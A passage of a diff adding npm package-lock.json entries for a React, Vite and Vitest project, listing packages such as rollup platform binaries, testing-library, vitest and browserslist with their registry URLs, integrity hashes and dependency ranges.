"sha512-Mlil5G2Jj6a7B3LWGctg+XPL9vdXYuzCtNXfxOQ0nPjc2m6ueUktocPGH9bnAM0bNRKb/bAWTujUU7IJQdQA+g==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.61.1.tgz", + "integrity": "sha512-bVWIOIk6pV01p4CdUbPP7CJ/434z+OooYjDuFcR+44N35YvKUC66G8MGnvcWx5mWKW3g61J+t74l3Kj15Kwn2Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.61.1.tgz", + "integrity": "sha512-qy5pBvZbqNFheBz61R1rzsezjm0J7O2oNGoWtGoY89SZYLUfxAJTBAqDChqAIdB4rCiIbi9nF7yZ83GnNiLwSw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.61.1.tgz", + "integrity": "sha512-E83TXjI4zm0+5f2qO+UOudaCYIhYwpJ5jq6YCZNIZ+6CbfhKrkAGezeiASBL9ElxAxFsRS9ZhESv8mfnj6TKeg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.61.1.tgz", + "integrity": "sha512-fbWnKqVkjrJN38vNe3ahkbk6iejS/3b0Nt7EEtPpE6RBacZcGXNKbzfHN3GUUlXOPghUg0j6XUGrtjX9z1sIvA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.61.1.tgz", + "integrity": "sha512-ArMl38iVAbk0New1ogihQNY6iphLi4ZaRsa037gUzv5yeKPY8TD3Dmy4x2RNC1VztU/uqm+G+/RwFrSka3Oy2g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.61.1.tgz", + "integrity": "sha512-0mYtjHS9ucAbcATycCNK9IGBk/cCe/ma7EmSLGZdsxnOA8cjRIyU04wDpVAD9NiOfLUR9KTxdiO53uOkherqjQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.61.1.tgz", + "integrity": "sha512-gK1iCEPfpoSG9wfBihXxvBMi8ZfcWffYkEsC/Eih+iFENTaewvNcrEQ69lIOWYO5pePHKLHHO7nq5AILGO/HQQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.61.1.tgz", + "integrity": "sha512-X+zaP2x+j4RXGfbp/seSoRHWnPxzApilDszisZxbYH5C/jTxFhCtDNdPGZb9lJyYPs24wGxruPF7Y+sIXt9Gzw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@testing-library/dom": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.3.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "picocolors": "1.1.1", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.9.1", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", + "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@adobe/css-tools": "^4.4.0", + "aria-query": "^5.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.6.3", + "picocolors": "^1.1.1", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@testing-library/react": { + "version": "16.3.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", + "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@testing-library/dom": "^10.0.0", + "@types/react": "^18.0.0 || ^19.0.0", + "@types/react-dom": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@testing-library/user-event": { + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "25.9.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.2.tgz", + "integrity": "sha512-G05zqtJhcDLb8uslf5EjCxXg9G1KQxiV8OS0R26IC//Eoyitzqe8z37I7cqvnZlrlSfgocQRfSn/AHBZJJFyGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": ">=7.24.0 <7.24.7" + } + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.3.31", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.31.tgz", + "integrity": "sha512-vfEqpXTvwT91yhmwdfouStN2hSKwTvyRs8qpLfADyrq/kxDw0hZM7Wk9Ug1FELj8hIby+S/+kQCSRFF32nv2Qw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@types/set-cookie-parser": { + "version": "2.4.10", + "resolved": "https://registry.npmjs.org/@types/set-cookie-parser/-/set-cookie-parser-2.4.10.tgz", + "integrity": "sha512-GGmQVGpQWUe5qglJozEjZV/5dyxbOOZ0LHe/lqyWssB88Y4svNfst0uqBVscdDeIKl5Jy5+aPSvy7mI9tYRguw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/statuses": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/statuses/-/statuses-2.0.6.tgz", + "integrity": "sha512-xMAgYwceFhRA2zY+XbEA7mxYbA093wdiW8Vu6gZPGWy9cmOyU9XesH1tNcEWsKFd5Vzrqx5T3D38PWx1FIIXkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vitejs/plugin-react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", + "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.28.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-beta.27", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.17.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/@vitest/coverage-v8": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-2.1.9.tgz", + "integrity": "sha512-Z2cOr0ksM00MpEfyVE8KXIYPEcBFxdbLSs56L8PO0QQMxt/6bDj45uQfxoc96v05KW3clk7vvgP0qfDit9DmfQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@ampproject/remapping": "^2.3.0", + "@bcoe/v8-coverage": "^0.2.3", + "debug": "^4.3.7", + "istanbul-lib-coverage": "^3.2.2", + "istanbul-lib-report": "^3.0.1", + "istanbul-lib-source-maps": "^5.0.6", + "istanbul-reports": "^3.1.7", + "magic-string": "^0.30.12", + "magicast": "^0.3.5", + "std-env": "^3.8.0", + "test-exclude": "^7.0.1", + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@vitest/browser": "2.1.9", + "vitest": "2.1.9" + }, + "peerDependenciesMeta": { + "@vitest/browser": { + "optional": true + } + } + }, + "node_modules/@vitest/expect": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-2.1.9.tgz", + "integrity": "sha512-UJCIkTBenHeKT1TTlKMJWy1laZewsRIzYighyYiJKZreqtdxSos/S1t+ktRMQWu2CKqaarrkeszJx1cgC5tGZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "2.1.9", + "@vitest/utils": "2.1.9", + "chai": "^5.1.2", + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/pretty-format": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-2.1.9.tgz", + "integrity": "sha512-KhRIdGV2U9HOUzxfiHmY8IFHTdqtOhIzCpd8WRdJiE7D/HUcZVD0EgQCVjm+Q9gkUXWgBvMmTtZgIG48wq7sOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-2.1.9.tgz", + "integrity": "sha512-ZXSSqTFIrzduD63btIfEyOmNcBmQvgOVsPNPe0jYtESiXkhd8u2erDLnMxmGrDCwHCCHE7hxwRDCT3pt0esT4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "2.1.9", + "pathe": "^1.1.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-2.1.9.tgz", + "integrity": "sha512-oBO82rEjsxLNJincVhLhaxxZdEtV0EFHMK5Kmx5sJ6H9L183dHECjiefOAdnqpIgT5eZwT04PoggUnW88vOBNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "2.1.9", + "magic-string": "^0.30.12", + "pathe": "^1.1.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-2.1.9.tgz", + "integrity": "sha512-E1B35FwzXXTs9FHNK6bDszs7mtydNi5MIfUWpceJ8Xbfb1gBMscAnwLbEu+B44ed6W3XjL9/ehLPHR1fkf1KLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyspy": "^3.0.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-2.1.9.tgz", + "integrity": "sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "2.1.9", + "loupe": "^3.1.2", + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/autoprefixer": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.5.0.tgz", + "integrity": "sha512-FMhOoZV4+qR6aTUALKX2rEqGG+oyATvwBt9IIzVR5rMa2HRWPkxf+P+PAJLD1I/H5/II+HuZcBJYEFBpq39ong==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.2", + "caniuse-lite": "^1.0.30001787", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.34", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.34.tgz", + "integrity": "sha512-IMDedajPifLnHNY0X9n8hKxRTQ6/eTHwr5bDo04WnuqxyKw6LYtQywCuuqPZwhl3aBXMvQpJov42GLCwRRdQzw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", + "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", + "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.12", + "caniuse-lite": "^1.0.30001782", + "electron-to-chromium": "^1.5.328", + "node-releases": "^2.0.36", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/cac": { + "version": "6.7.14", + "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", + "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001797", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001797.tgz", + "integrity": "sha512-l8xKG+gwAIExZGl9FrF7KUwuOmk6wbEPC9Xoy/RtnWv1XG0Q4LFlagaLpUv3Kiza3W/wm27zy0yWJEieYKAP6w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chai": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/chai/-/chai-5.3.3.tgz", + "integrity": "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "assertion-error": "^2.0.1", + "check-error": "^2.1.1", + "deep-eql": "^5.0.1", + "loupe": "^3.1.0", + "pathval": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/check-error": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-2.1.3.tgz", + "integrity": "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 16" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/cli-width": { + "version": 